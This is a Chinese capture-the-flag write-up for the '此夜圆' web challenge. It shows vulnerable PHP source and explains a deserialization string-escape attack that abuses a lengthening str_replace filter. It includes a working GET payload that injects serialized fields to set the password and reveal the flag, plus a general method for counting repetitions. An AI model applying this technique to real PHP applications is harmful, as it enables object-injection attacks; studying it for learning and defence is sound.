月饼杯-web1_此夜圆
这题是反序列化字符串逃逸
源码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
注意这段
return str_replace('Firebasky','Firebaskyup',$string);
这段的作用是将"Firebasky"替换成"Firebaskyup"
看源码,当password==="yu22x"时,可以输出flag
所以构造序列化
需要逃逸的字符串是";s:8:"password";s:5:"yu22x";}
所以才payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
总结:这是一个反序列化字符串逃逸——增多类型题目
注意点是否有:return str_replace
然后增多类型的看需要逃逸的字符串为y,在看替换后的字符串是较替换前增加的字符为x
需要多少个未替换字符串为:y/x
比如这里需要30个字符
替换后增加2个字符
所以要写15个Firebasky。